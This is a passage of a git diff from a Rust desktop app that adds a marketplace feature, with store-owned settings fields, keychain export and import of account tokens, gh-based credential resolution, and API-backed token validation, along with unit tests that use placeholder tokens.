self.carry.extend_from_slice(chunk);
let (mut out, links, consumed) = strip_ansi_prefix(&self.carry);
self.record_links(links);
@@ -644,7 +644,7 @@ impl AnsiStripper {
// fresh chunk, which re-enters here.
if self.carry.len() > MAX_ANSI_CARRY {
log::warn!(
"`claude setup-token` emitted an unterminated control sequence \
"the command emitted an unterminated control sequence \
longer than {} bytes — treating it as text",
MAX_ANSI_CARRY
);
@@ -734,7 +734,7 @@ const REJECTION_SCAN_WINDOW: usize = 4096;
const CODE_REJECTED_MARKERS: &[&str] = &["invalid code", "press enter to retry"];
/// Append `chunk` to `buf`, keeping no more than `cap` bytes of the tail.
fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) {
pub(crate) fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) {
buf.push_str(chunk);
if buf.len() <= cap {
return;
File diff suppressed because it is too large Load Diff
+1
View File
@@ -8,6 +8,7 @@ pub mod gateway_commands;
pub mod help_commands;
pub mod inspect_commands;
pub mod install_helper_commands;
pub mod marketplace_commands;
pub mod migration_commands;
pub mod notes_commands;
pub mod project_commands;
+45 -1
View File
@@ -1112,7 +1112,14 @@ pub async fn update_project(
// for every already-running container at launch. The version of this that
// re-asserted on every save is what turned a stale flag in a payload into a
// restarted bridge.
state.projects_store.update(project)
//
// The restore above served the validation; it is redone under the store's
// lock against the record as it is *now*, so a marketplace install, a
// status change or a container id landing since `stored` was read is kept
// rather than written over.
state
.projects_store
.update_restoring(project, restore_store_owned_fields)
}
/// Restore onto `project` the fields whose value belongs to the store rather
@@ -1148,6 +1155,9 @@ fn restore_store_owned_fields(project: &mut Project, stored: &Project) {
project.browser_view_enabled = stored.browser_view_enabled;
project.auth_bridge_enabled = stored.auth_bridge_enabled;
project.created_at = stored.created_at.clone();
// Owned by the marketplace commands; a Config-tab save carries a stale copy.
project.marketplace_installs = stored.marketplace_installs.clone();
project.marketplace_disabled = stored.marketplace_disabled.clone();
}
#[tauri::command]
@@ -1449,6 +1459,16 @@ async fn start_project_container_locked(
log::warn!("Failed to sync AWS credentials for project {}: {}", project.id, e);
}
// Marketplace items sync in the background — see `spawn_project_sync`
// for why the start never waits on it or fails because of it.
crate::marketplace::spawn_project_sync(
app_handle.clone(),
state.marketplace.clone(),
state.settings_store.get(),
project.clone(),
container_id.clone(),
);
Ok(container_id)
}.await;
@@ -2290,4 +2310,28 @@ mod tests {
assert_eq!(payload.status, ProjectStatus::Running);
assert_eq!(payload.created_at, stored.created_at);
}
/// The marketplace commands own a project's installs and opt-outs; the
/// Config tab's next unrelated save carries a stale copy of both.
#[test]
fn a_stale_save_cannot_undo_a_marketplace_install() {
use crate::models::marketplace::{ItemKind, MarketplaceInstall, MarketplaceItemRef};
let (mut stored, mut payload) = stored_and_stale_payload();
stored.marketplace_installs = vec![MarketplaceInstall {
marketplace_id: "m1".into(),
kind: ItemKind::Agent,
key: "code-reviewer".into(),
commit: "a".repeat(40),
}];
stored.marketplace_disabled = vec![MarketplaceItemRef {
marketplace_id: "m1".into(),
kind: ItemKind::Hook,
key: "h".into(),
}];
restore_store_owned_fields(&mut payload, &stored);
assert_eq!(payload.marketplace_installs, stored.marketplace_installs);
assert_eq!(payload.marketplace_disabled, stored.marketplace_disabled);
}
}
@@ -67,14 +67,26 @@ pub fn validate_settings_update(
Ok(())
}
/// Marketplace state is written only by the marketplace commands
/// (`commands/marketplace_commands.rs`), each of which returns fresh settings.
/// Every other settings save posts the frontend's copy back whole, and that
/// copy can predate an install made a moment ago, so what is stored wins.
/// `apply_settings_import` is the one caller that replaces it, explicitly.
pub(crate) fn restore_marketplace_fields(incoming: &mut AppSettings, stored: &AppSettings) {
incoming.marketplace_accounts = stored.marketplace_accounts.clone();
incoming.marketplaces = stored.marketplaces.clone();
incoming.global_marketplace_installs = stored.global_marketplace_installs.clone();
}
#[tauri::command]
pub async fn update_settings(
settings: AppSettings,
mut settings: AppSettings,
state: State<'_, AppState>,
) -> Result<AppSettings, String> {
let before = state.settings_store.get();
validate_settings_update(&before, &settings)?;
restore_marketplace_fields(&mut settings, &before);
let saved = state.settings_store.update(settings)?;
@@ -430,4 +442,28 @@ mod tests {
});
assert_eq!(gateway_action(&before, &half_typed), GatewayAction::None);
}
#[test]
fn a_stale_settings_save_cannot_overwrite_marketplace_state() {
use crate::models::marketplace::Marketplace;
let mut stored = AppSettings::default();
stored.marketplaces.push(Marketplace {
id: "m1".into(),
name: "Team".into(),
url: "https://example.invalid/r.git".into(),
branch: None,
account_id: None,
});
// The frontend's copy predates the marketplace being added.
let mut incoming = AppSettings::default();
incoming.auto_check_updates = false;
restore_marketplace_fields(&mut incoming, &stored);
assert_eq!(incoming.marketplaces, stored.marketplaces);
assert!(
!incoming.auto_check_updates,
"the edit the save was for still applies"
);
}
}
@@ -41,6 +41,9 @@ use tauri::State;
use tauri_plugin_dialog::DialogExt;
use zeroize::Zeroizing;
use std::collections::BTreeMap;
use crate::models::marketplace::{AccountMethod, MarketplaceAccount};
use crate::models::{
AppSettings, ExportedSecrets, SettingsExportPayload, SettingsImportOutcome,
SettingsImportPreview, SETTINGS_EXPORT_FORMAT_VERSION,
@@ -131,11 +134,56 @@ fn split_settings_and_secrets(current: AppSettings) -> (AppSettings, ExportedSec
gateway_api_key: secure::get_gateway_api_key().unwrap_or_default(),
gateway_master_key: secure::get_gateway_master_key().unwrap_or_default(),
web_terminal_access_token,
marketplace_account_tokens: exported_marketplace_tokens(
&settings.marketplace_accounts,
secure::get_marketplace_token,
),
};
(settings, secrets)
}
/// The stored token of every marketplace account that has one, by account
/// id. A `GhHost` account stores none (its token is asked of the host's `gh`
/// each time), so it is not read. A missing or unreadable token is left out,
/// like the other keychain secrets above.
fn exported_marketplace_tokens(
accounts: &[MarketplaceAccount],
get: impl Fn(&str) -> Result<Option<String>, String>,
) -> BTreeMap<String, String> {
accounts
.iter()
.filter(|a| a.method != AccountMethod::GhHost)
.filter_map(|a| {
let token = non_blank(get(&a.id).unwrap_or_default())?;
Some((a.id.clone(), token))
})
.collect()
}
/// Write each imported marketplace token to the keychain, returning a
/// warning (never containing the token) for each one that could not be.
fn restore_marketplace_tokens(
tokens: &BTreeMap<String, String>,
mut store: impl FnMut(&str, &str) -> Result<(), String>,
) -> Vec<String> {
let mut warnings = Vec::new();
for (account_id, token) in tokens {
if let Err(e) = store(account_id, token) {
log::warn!(
"Settings import: could not restore the token of marketplace account {}: {}",
account_id,
e
);
warnings.push(format!(
"Could not restore a marketplace account's token ({}); sign that account in again.",
e
));
}
}
warnings
}
/// Export the current global settings and secrets to a password-encrypted
/// file. `Ok(false)` means the save dialog was dismissed — not an error, and
/// deliberately distinguishable from one so the frontend shows nothing
@@ -320,6 +368,13 @@ pub async fn apply_settings_import(
.or_else(|| current.web_terminal.access_token.clone());
crate::commands::settings_commands::validate_settings_update(&current, &settings)?;
// The marketplace half, with the commands' own rules and normalisation,
// also before anything is written (pre-flight F10).
let marketplace_tokens = payload.secrets.marketplace_account_tokens;
crate::commands::marketplace_commands::validate_imported_marketplace_state(
&mut settings,
&marketplace_tokens,
)?;
let mut secret_restore_warnings = Vec::new();
let mut gateway_secret_changed = false;
@@ -363,8 +418,36 @@ pub async fn apply_settings_import(
}
}
secret_restore_warnings.extend(restore_marketplace_tokens(
&marketplace_tokens,
secure::store_marketplace_token,
));
let imported_marketplace = (
settings.marketplace_accounts.clone(),
settings.marketplaces.clone(),
settings.global_marketplace_installs.clone(),
);
let saved =
crate::commands::settings_commands::update_settings(settings, state.clone()).await?;
// `update_settings` keeps marketplace state store-owned. An import is the
// one caller entitled to replace it wholesale.
let saved = {
let mut s = saved;
(
s.marketplace_accounts,
s.marketplaces,
s.global_marketplace_installs,
) = imported_marketplace;
state.settings_store.update(s)?
};
// Caches of marketplaces the import dropped are dead weight now, and
// the pins must match the imported installs.
use crate::commands::marketplace_commands as mc;
for id in mc::dropped_marketplace_ids(&current, &saved) {
mc::remove_cache(&state, &id).await;
}
mc::refresh_pins(&state).await;
// `reconcile_gateway` (inside `update_settings`) only reacts to a changed
// *shape* — port, provider, base URL, models — because that's what's
@@ -651,4 +734,97 @@ mod tests {
std::fs::remove_dir_all(&dir).ok();
}
fn account(id: &str, method: AccountMethod) -> MarketplaceAccount {
MarketplaceAccount {
id: id.to_string(),
label: format!("Account {id}"),
host: "github.com".to_string(),
method,
username: None,
}
}
#[test]
fn export_carries_stored_tokens_of_token_and_container_accounts_only() {
let accounts = vec![
account("a-token", AccountMethod::Token),
account("a-container", AccountMethod::GhContainer),
account("a-host", AccountMethod::GhHost),
account("a-missing", AccountMethod::Token),
account("a-broken", AccountMethod::Token),
];
let tokens = exported_marketplace_tokens(&accounts, |id| match id {
"a-token" => Ok(Some("test-token-not-real-1".to_string())),
"a-container" => Ok(Some("test-token-not-real-2".to_string())),
"a-host" => panic!("a gh-host account stores no token, so none is read"),
"a-missing" => Ok(None),
_ => Err("keychain locked".to_string()),
});
assert_eq!(
tokens,
BTreeMap::from([
("a-container".to_string(), "test-token-not-real-2".to_string()),
("a-token".to_string(), "test-token-not-real-1".to_string()),
])
);
}
#[test]
fn marketplace_tokens_round_trip_through_an_export_and_validate_on_import() {
use crate::models::marketplace::Marketplace;
let id = "0f8fad5b-d9cb-469f-a165-70867728950e";
let mut payload = sample_payload(SETTINGS_EXPORT_FORMAT_VERSION);
payload
.settings
.marketplace_accounts
.push(account(id, AccountMethod::Token));
payload.settings.marketplaces.push(Marketplace {
id: "7c9e6679-7425-40de-944b-e07fc1f90ae7".into(),
name: "Team".into(),
url: "https://github.com/org/repo.git".into(),
branch: None,
account_id: Some(id.into()),
});
payload.secrets.marketplace_account_tokens =
BTreeMap::from([(id.to_string(), "test-token-not-real".to_string())]);
let dir = temp_dir("marketplace-round-trip");
let path = write_export(&dir, "x.triplec", &payload, "password123");
let mut back = read_and_decrypt(&path, "password123").unwrap();
assert_eq!(
back.secrets.marketplace_account_tokens,
payload.secrets.marketplace_account_tokens
);
assert_eq!(back.settings.marketplaces, payload.settings.marketplaces);
crate::commands::marketplace_commands::validate_imported_marketplace_state(
&mut back.settings,
&back.secrets.marketplace_account_tokens,
)
.unwrap();
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn a_marketplace_token_that_fails_to_restore_is_reported_without_its_value() {
let tokens = BTreeMap::from([
("a1".to_string(), "test-token-not-real-1".to_string()),
("a2".to_string(), "test-token-not-real-2".to_string()),
]);
let mut stored = Vec::new();
let warnings = restore_marketplace_tokens(&tokens, |id, token| {
if id == "a2" {
return Err("keychain locked".to_string());
}
stored.push((id.to_string(), token.to_string()));
Ok(())
});
assert_eq!(
stored,
vec![("a1".to_string(), "test-token-not-real-1".to_string())]
);
assert_eq!(warnings.len(), 1);
assert!(!warnings[0].contains("test-token-not-real"));
}
}
+6 -4
View File
@@ -434,7 +434,8 @@ fn container_join(dir: &str, name: &str) -> String {
/// Write `data` into the container at `<dest_dir>/<file_name>` with `mode`.
///
/// For small, generated files — migration uses it for the `tar -T` include
/// list, which can be too long to pass as argv. Anything large should be
/// list, which can be too long to pass as argv, and the marketplace sync for
/// its payload tar and script. Anything large should be
/// streamed through an attached exec's stdin instead, since this buffers the
/// whole payload in memory twice (once raw, once tarred).
pub async fn upload_bytes_to_container(
@@ -446,9 +447,10 @@ pub async fn upload_bytes_to_container(
) -> Result<String, String> {
let docker = get_docker()?;
// Root-owned on purpose: the only caller is migration, whose `tar -T` list
// is read back as root. The mtime still gets stamped so the file doesn't
// read as 1970.
// Root-owned on purpose: migration's `tar -T` list is read back as root,
// and the marketplace sync uploads into a `claude`-owned directory it
// prepares first, so `claude` can still read and delete the files. The
// mtime still gets stamped so the file doesn't read as 1970.
let tar_buf = build_single_file_tar(file_name, data, mode, 0, 0, now_epoch_secs())?;
docker
+50
View File
@@ -7,6 +7,7 @@ mod docker;
pub mod file_viewer;
mod install_helper;
mod logging;
mod marketplace;
mod models;
mod project_lock;
mod storage;
@@ -48,6 +49,7 @@ pub struct AppState {
/// preview is not actually binding on what gets applied.
pub pending_settings_import:
Arc<tokio::sync::Mutex<Option<commands::settings_export_commands::PendingSettingsImport>>>,
pub marketplace: Arc<marketplace::MarketplaceManager>,
}
// ─────────────────────────────────────────────────────────────────────────────
@@ -224,6 +226,12 @@ pub fn run() {
let exec_manager = Arc::new(ExecSessionManager::new());
let auth_bridge = Arc::new(AuthBridgeManager::new());
let lifecycle = Arc::new(Lifecycle::new());
let marketplace = Arc::new(marketplace::MarketplaceManager::new(
dirs::data_dir()
.map(|d| d.join("triple-c"))
.unwrap_or_else(|| std::env::temp_dir().join("triple-c")),
));
let marketplace_setup = marketplace.clone();
// Clone Arcs for the setup closure (web terminal auto-start)
let projects_store_setup = projects_store.clone();
@@ -242,6 +250,7 @@ pub fn run() {
web_terminal_server: Arc::new(tokio::sync::Mutex::new(None)),
lifecycle,
pending_settings_import: Arc::new(tokio::sync::Mutex::new(None)),
marketplace,
})
.manage(file_viewer::registry::ViewerRegistry::default())
.setup(move |app| {
@@ -298,6 +307,25 @@ pub fn run() {
.await;
});
// Marketplaces: refresh each once at startup, in the background.
// Failures are logged, not toasted — the Marketplace tab shows them.
{
let settings = settings_store_setup.get();
let settings_store = settings_store_setup.clone();
let marketplace = marketplace_setup.clone();
tauri::async_runtime::spawn(async move {
for m in &settings.marketplaces {
// Reads the store again under the lock: one removed
// since startup is skipped (PR review #6).
let current = || settings_store.get();
let snap = crate::marketplace::refresh_marketplace(&marketplace, &current, &m.id).await;
if let Some(e) = snap.fetch_error {
log::warn!("Marketplace \"{}\" could not be refreshed at startup: {}", m.name, e);
}
}
});
}
// Auto-start web terminal server if enabled in settings
let settings = settings_store_setup.get();
if settings.web_terminal.enabled {
@@ -519,6 +547,28 @@ pub fn run() {
commands::auth_token_commands::has_claude_token,
commands::auth_token_commands::clear_claude_token,
commands::auth_token_commands::sweep_claude_token_snapshots,
// Marketplace
commands::marketplace_commands::list_marketplace_snapshots,
commands::marketplace_commands::refresh_marketplaces,
commands::marketplace_commands::add_marketplace,
commands::marketplace_commands::update_marketplace,
commands::marketplace_commands::remove_marketplace,
commands::marketplace_commands::install_marketplace_item,
commands::marketplace_commands::uninstall_marketplace_item,
commands::marketplace_commands::set_global_item_disabled,
commands::marketplace_commands::forget_marketplace_installs,
commands::marketplace_commands::list_marketplace_updates,
commands::marketplace_commands::marketplace_item_diff,
commands::marketplace_commands::update_marketplace_item,
commands::marketplace_commands::apply_marketplace_now,
commands::marketplace_commands::get_marketplace_sync_report,
commands::marketplace_commands::add_marketplace_token_account,
commands::marketplace_commands::add_marketplace_gh_host_account,
commands::marketplace_commands::start_marketplace_gh_container_login,
commands::marketplace_commands::cancel_marketplace_gh_login,
commands::marketplace_commands::test_marketplace_account,
commands::marketplace_commands::remove_marketplace_account,
commands::marketplace_commands::marketplace_gh_host_available,
// Settings
commands::settings_commands::get_settings,
commands::settings_commands::update_settings,
+652
View File
@@ -0,0 +1,652 @@
//! Marketplace accounts: where a fetch credential comes from, checking a
//! pasted token, and turning a failed fetch into advice a person can act on.
//!
//! Nothing here logs, returns or formats a token into an error string. A
//! `GhHost` account stores nothing at all: its token is asked of the host's
//! `gh` every time, so a later `gh auth refresh` or logout takes effect.
use std::time::Duration;
use crate::marketplace::git::{Credential, FetchError};
use crate::models::marketplace::{AccountMethod, MarketplaceAccount};
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum HostKind {
GitHub,
Gitea,
GitLab,
Unknown,
}
/// Known by name only; Gitea (and self-hosted GitLab) are recognised by
/// probing their API in [`validate_token`].
pub fn host_kind(host: &str) -> HostKind {
match host.to_ascii_lowercase().as_str() {
"github.com" => HostKind::GitHub,
"gitlab.com" => HostKind::GitLab,
_ => HostKind::Unknown,
}
}
/// `host[:port]` characters only — also what keeps a host safe as a `gh` argument.
///
/// This is a character-set check, not full `host:port` validation — it does
/// not bound a port to 0–65535 or otherwise parse the `:port` suffix. A
/// caller that needs that (e.g. a host validator layered on top of this one)
/// checks the port itself.
///
/// `pub(crate)` so other validators (the add-marketplace form, `gh_login`) use
/// this same rule instead of a divergent copy (pre-flight F13).
pub(crate) fn valid_host(host: &str) -> bool {
!host.is_empty()
&& host.len() <= 253
&& !host.starts_with('-')
&& host
.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'-' | b':'))
}
/// The host of an `https://` marketplace URL, lowercased, with a non-default port kept.
pub fn host_of(url: &str) -> Result<String, String> {
// Pre-flight N17: never echo the raw URL back on a parse failure — a
// malformed URL can carry `user:token@` and this is the one branch that
// has not already stripped it.
let parsed = url::Url::parse(url.trim()).map_err(|e| format!("Not a valid URL: {}", e))?;
if parsed.scheme() != "https" {
return Err("Only https:// marketplace URLs are supported.".to_string());
}
if !parsed.username().is_empty() || parsed.password().is_some() {
return Err("Put credentials in a marketplace account, not in the URL.".to_string());
}
let host = parsed
.host_str()
.ok_or_else(|| "The URL has no host".to_string())?
.to_ascii_lowercase();
let host = match parsed.port() {
Some(port) => format!("{}:{}", host, port),
None => host,
};
if !valid_host(&host) {
return Err(format!("{:?} is not a supported host name", host));
}
Ok(host)
}
/// The username sent with the token over HTTPS.
pub fn fetch_username(account: &MarketplaceAccount) -> String {
if host_kind(&account.host) == HostKind::GitHub {
return "x-access-token".to_string();
}
account
.username
.clone()
.filter(|u| !u.trim().is_empty())
.unwrap_or_else(|| "oauth2".to_string())
}
// ─────────────────────────────────────────────────────────────────────────────
// Host `gh`
// ─────────────────────────────────────────────────────────────────────────────
const GH_TIMEOUT: Duration = Duration::from_secs(15);
/// Run the host's `gh` with a plain argv (no shell) and return trimmed stdout.
async fn run_gh(args: &[&str]) -> Result<String, String> {
let mut cmd = tokio::process::Command::new("gh");
cmd.args(args)
.stdin(std::process::Stdio::null())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.kill_on_drop(true);
let output = tokio::time::timeout(GH_TIMEOUT, cmd.output())
.await
.map_err(|_| "gh did not answer within 15 seconds".to_string())?
.map_err(|e| format!("Could not run gh: {}", e))?;
if !output.status.success() {
let stderr = String::from_utf8_lossy(&output.stderr);
return Err(stderr
.lines()
.next()
.unwrap_or("gh failed")
.trim()
.to_string());
}
Ok(String::from_utf8_lossy(&output.stdout).trim().to_string())
}
pub async fn gh_host_available() -> bool {
run_gh(&["--version"]).await.is_ok()
}
fn gh_login_instructions(host: &str) -> String {
format!(
"gh on this computer is not logged in to {host}. Run `gh auth login --hostname {host}` \
in a terminal, then try again.",
host = host
)
}
/// The login name `gh` on the host is signed in as for `host`.
pub async fn gh_host_login(host: &str) -> Result<String, String> {
if !valid_host(host) {
return Err(format!("{:?} is not a supported host name", host));
}
run_gh(&["auth", "status", "--hostname", host])
.await
.map_err(|_| gh_login_instructions(host))?;
let login = run_gh(&["api", "user", "--hostname", host, "--jq", ".login"]).await?;
if login.is_empty() {
return Err(gh_login_instructions(host));
}
Ok(login)
}
/// Resolve the credential for an account: `GhHost` → `gh auth token
/// --hostname <host>`; `GhContainer`/`Token` → the keychain.
pub async fn resolve_credential(account: &MarketplaceAccount) -> Result<Credential, String> {
let password = match account.method {
AccountMethod::GhHost => {
if !valid_host(&account.host) {
return Err(format!("{:?} is not a supported host name", account.host));
}
let token = run_gh(&["auth", "token", "--hostname", &account.host])
.await
.map_err(|_| gh_login_instructions(&account.host))?;
if token.is_empty() {
return Err(gh_login_instructions(&account.host));
}
token
}
AccountMethod::GhContainer | AccountMethod::Token => {
crate::storage::secure::get_marketplace_token(&account.id)?.ok_or_else(|| {
format!(
"No token is stored for the account \"{}\". Remove it and sign in again.",
account.label
)
})?
}
};
Ok(Credential {
username: fetch_username(account),
password,
})
}
// ─────────────────────────────────────────────────────────────────────────────
// Token validation
// ─────────────────────────────────────────────────────────────────────────────
#[derive(Debug, PartialEq, Eq)]
enum Probe {
Login(String),
Rejected(u16),
NotThisKind,
}
fn http_client() -> Result<reqwest::Client, String> {
reqwest::Client::builder()
.user_agent("Triple-C")
.timeout(Duration::from_secs(15))
// reqwest's default policy follows up to 10 redirects and only
// strips Authorization/Cookie/Proxy-Authorization/WWW-Authenticate
// on a cross-*host* hop — GitLab's PRIVATE-TOKEN header (and any
// header on a same-host https→http downgrade) would otherwise
// follow the token to wherever the response points. Never follow;
// `who_am_i` treats the resulting 3xx like an unrecognised API.
.redirect(reqwest::redirect::Policy::none())
.build()
.map_err(|e| format!("Could not create an HTTP client: {}", e))
}
/// One "who am I" call. `base` is the API root for GitHub
/// (`https://api.github.com`) and the site root for Gitea/GitLab.
async fn who_am_i(
client: &reqwest::Client,
kind: HostKind,
base: &str,
token: &str,
) -> Result<Probe, String> {
let (url, header, value, field) = match kind {
HostKind::GitHub => (
format!("{}/user", base),
"Authorization",
format!("Bearer {}", token),
"login",
),
HostKind::Gitea => (
format!("{}/api/v1/user", base),
"Authorization",
format!("token {}", token),
"login",
),
HostKind::GitLab => (
format!("{}/api/v4/user", base),
"PRIVATE-TOKEN",
token.to_string(),
"username",
),
HostKind::Unknown => return Ok(Probe::NotThisKind),
};
let response = client
.get(&url)
.header(header, value)
.header("Accept", "application/json")
.send()
.await
// reqwest's error text carries the URL, never the header.
.map_err(|e| format!("Could not reach {}: {}", base, e.without_url()))?;
let status = response.status().as_u16();
match status {
200 => {
let json: serde_json::Value = match response.json().await {
Ok(json) => json,
Err(_) => return Ok(Probe::NotThisKind),
};
match json.get(field).and_then(|v| v.as_str()) {
Some(login) if !login.is_empty() => Ok(Probe::Login(login.to_string())),
_ => Ok(Probe::NotThisKind),
}
}
401 | 403 => Ok(Probe::Rejected(status)),
404 => Ok(Probe::NotThisKind),
// The client never follows redirects (see `http_client`); a 3xx here
// means this API would have sent the token onward, so treat it the
// same as a host that isn't this kind rather than as an error.
300..=399 => Ok(Probe::NotThisKind),
other => Err(format!(
"{} answered HTTP {} when checking the token",
base, other
)),
}
}
fn rejected(host: &str, status: u16) -> String {
format!(
"{} rejected the token (HTTP {}). Check that it has not expired and can read repositories.",
host, status
)
}
/// GitHub is asked at `github_api`; anything else is probed as Gitea, then
/// GitLab, at `site`. `Ok(None)`: the host is neither, so the token could not
/// be checked here — the marketplace's test fetch checks it instead.
async fn validate_token_at(
host: &str,
github_api: Option<&str>,
site: &str,
token: &str,
) -> Result<Option<String>, String> {
let client = http_client()?;
if let Some(api) = github_api {
return match who_am_i(&client, HostKind::GitHub, api, token).await? {
Probe::Login(login) => Ok(Some(login)),
Probe::Rejected(status) => Err(rejected(host, status)),
Probe::NotThisKind => Err(format!("{} did not return a user for this token", host)),
};
}
for kind in [HostKind::Gitea, HostKind::GitLab] {
match who_am_i(&client, kind, site, token).await? {
Probe::Login(login) => return Ok(Some(login)),
Probe::Rejected(status) => return Err(rejected(host, status)),
Probe::NotThisKind => {}
}
}
Ok(None)
}
/// "Who am I" check for a pasted token. `Ok(Some(login))` when the host
/// confirmed it; `Ok(None)` when the host is not GitHub, Gitea or GitLab and
/// the token is left to the first fetch to prove.
pub async fn validate_token(host: &str, token: &str) -> Result<Option<String>, String> {
if !valid_host(host) {
return Err(format!("{:?} is not a supported host name", host));
}
if token.trim().is_empty() {
return Err("Paste a token first.".to_string());
}
let site = format!("https://{}", host);
match host_kind(host) {
HostKind::GitHub => {
validate_token_at(host, Some("https://api.github.com"), &site, token.trim()).await
}
_ => validate_token_at(host, None, &site, token.trim()).await,
}
}
// ─────────────────────────────────────────────────────────────────────────────
// Fetch errors
// ─────────────────────────────────────────────────────────────────────────────
fn who(account: Option<&MarketplaceAccount>) -> String {
match account {
None => "anonymously (no account)".to_string(),
Some(a) => match &a.username {
Some(u) if !u.is_empty() => format!("with the account \"{}\" ({})", a.label, u),
_ => format!("with the account \"{}\"", a.label),
},
}
}
/// User-facing message for a failed fetch, naming the account used and, for
/// access problems, the usual organisation causes with the page that fixes each.
///
/// `url` must be a marketplace URL already validated by [`host_of`] (as every
/// stored marketplace's URL is) — it is echoed into the message verbatim, so
/// passing unvalidated user input here would defeat the point of N17.
pub fn describe_fetch_error(
err: &FetchError,
account: Option<&MarketplaceAccount>,
url: &str,
) -> String {
let host = host_of(url).unwrap_or_else(|_| url.to_string());
match err {
FetchError::Auth { .. } | FetchError::NotFound => {
let what = match err {
FetchError::Auth { status } => format!("access was denied (HTTP {})", status),
_ => "the repository was not found".to_string(),
};
let mut msg = format!("Could not read {} {}: {}.", url, who(account), what);
if account.is_none() {
msg.push_str(
"\n• The repository may be private — choose an account that can read it.",
);
}
if host_kind(&host) == HostKind::GitHub {
msg.push_str(
"\n• The organization may restrict third-party app access and not have approved \
the GitHub CLI or your token: \
https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions\
\n• If the organization uses SAML single sign-on, the token must be authorized for it: \
https://github.com/settings/tokens\
\n• A fine-grained token only reaches repositories of the owner it was created for: \
https://github.com/settings/personal-access-tokens",
);
} else if account.is_some() {
msg.push_str("\n• Check that the account's token has not expired and can read this repository.");
}
msg
}
FetchError::Network(m) => format!(
"Could not reach {}: {}. The last fetched copy is still used.",
host, m
),
FetchError::Other(m) => format!("Fetching {} failed: {}", url, m),
}
}
#[cfg(test)]
mod tests {
use super::*;
fn account(host: &str, username: Option<&str>) -> MarketplaceAccount {
MarketplaceAccount {
id: "acc-1".into(),
label: "Work".into(),
host: host.into(),
method: AccountMethod::Token,
username: username.map(str::to_string),
}
}
#[test]
fn host_of_accepts_https_only() {
assert_eq!(host_of("https://GitHub.com/a/b.git").unwrap(), "github.com");
assert_eq!(
host_of("https://git.example.com:8443/a/b").unwrap(),
"git.example.com:8443"
);
assert!(host_of("http://github.com/a/b").is_err());
assert!(host_of("git@github.com:a/b.git").is_err());
assert!(host_of("file:///tmp/x").is_err());
let err = host_of("https://user:test-token-not-real@github.com/a/b").unwrap_err();
assert!(!err.contains("test-token-not-real"));
}
/// Pre-flight N17, the parse-failure branch specifically: a URL that is
/// both malformed (port out of `u16` range) *and* carries credentials
/// must not have either the credentials or the raw URL echoed back.
#[test]
fn host_of_never_echoes_a_credential_bearing_url_that_fails_to_parse() {
let err = host_of("https://user:test-token-not-real@github.com:99999/a").unwrap_err();
assert!(!err.contains("test-token-not-real"), "{}", err);
assert!(!err.contains("user:"), "{}", err);
}
#[test]
fn fetch_username_per_host() {
assert_eq!(
fetch_username(&account("github.com", Some("me"))),
"x-access-token"
);
assert_eq!(
fetch_username(&account("repo.example.net", Some("jk"))),
"jk"
);
assert_eq!(fetch_username(&account("repo.example.net", None)), "oauth2");
assert_eq!(
fetch_username(&account("repo.example.net", Some(" "))),
"oauth2"
);
}
#[test]
fn host_kinds() {
assert_eq!(host_kind("GITHUB.com"), HostKind::GitHub);
assert_eq!(host_kind("gitlab.com"), HostKind::GitLab);
assert_eq!(host_kind("repo.example.net"), HostKind::Unknown);
}
#[test]
fn describe_access_errors_names_account_and_org_causes() {
let url = "https://github.com/acme/private-market.git";
let msg = describe_fetch_error(
&FetchError::Auth { status: 403 },
Some(&account("github.com", Some("me"))),
url,
);
assert!(msg.contains("\"Work\" (me)"), "{}", msg);
assert!(msg.contains("HTTP 403"));
assert!(msg.contains("third-party app access"));
assert!(msg.contains("single sign-on"));
assert!(msg.contains("fine-grained"));
let anon = describe_fetch_error(&FetchError::NotFound, None, url);
assert!(anon.contains("anonymously"));
assert!(anon.contains("may be private"));
let gitea = describe_fetch_error(
&FetchError::Auth { status: 401 },
Some(&account("repo.example.net", None)),
"https://repo.example.net/o/r.git",
);
assert!(!gitea.contains("single sign-on"));
assert!(gitea.contains("expired"));
}
#[test]
fn describe_network_and_other_errors() {
let msg = describe_fetch_error(
&FetchError::Network("dns error".into()),
None,
"https://github.com/a/b",
);
assert!(msg.contains("Could not reach github.com"));
assert!(msg.contains("last fetched copy"));
let msg = describe_fetch_error(
&FetchError::Other("weird".into()),
None,
"https://github.com/a/b",
);
assert!(msg.contains("weird"));
}
// ── validate_token against a local mock API ──────────────────────────────
const FAKE: &str = "test-token-not-real";
async fn serve(app: axum::Router) -> String {
let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
tokio::spawn(async move {
axum::serve(listener, app).await.unwrap();
});
format!("http://{}", addr)
}
fn authorised(headers: &axum::http::HeaderMap, name: &str, want: &str) -> bool {
headers.get(name).and_then(|v| v.to_str().ok()) == Some(want)
}
#[tokio::test]
async fn github_token_returns_login_or_is_rejected() {
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
let app = Router::new().route(
"/user",
get(|headers: HeaderMap| async move {
if authorised(&headers, "authorization", &format!("Bearer {}", FAKE)) {
Ok(Json(serde_json::json!({ "login": "octo" })))
} else {
Err(StatusCode::UNAUTHORIZED)
}
}),
);
let base = serve(app).await;
assert_eq!(
validate_token_at("github.com", Some(&base), "unused", FAKE)
.await
.unwrap(),
Some("octo".to_string())
);
let err = validate_token_at("github.com", Some(&base), "unused", "wrong")
.await
.unwrap_err();
assert!(err.contains("HTTP 401"), "{}", err);
assert!(
!err.contains("wrong"),
"the token must not appear in the error"
);
}
#[tokio::test]
async fn gitea_is_detected_first() {
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
let app = Router::new().route(
"/api/v1/user",
get(|headers: HeaderMap| async move {
if authorised(&headers, "authorization", &format!("token {}", FAKE)) {
Ok(Json(serde_json::json!({ "login": "jk" })))
} else {
Err(StatusCode::UNAUTHORIZED)
}
}),
);
let site = serve(app).await;
assert_eq!(
validate_token_at("h", None, &site, FAKE).await.unwrap(),
Some("jk".to_string())
);
assert!(validate_token_at("h", None, &site, "wrong").await.is_err());
}
#[tokio::test]
async fn gitlab_is_tried_after_gitea_404() {
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
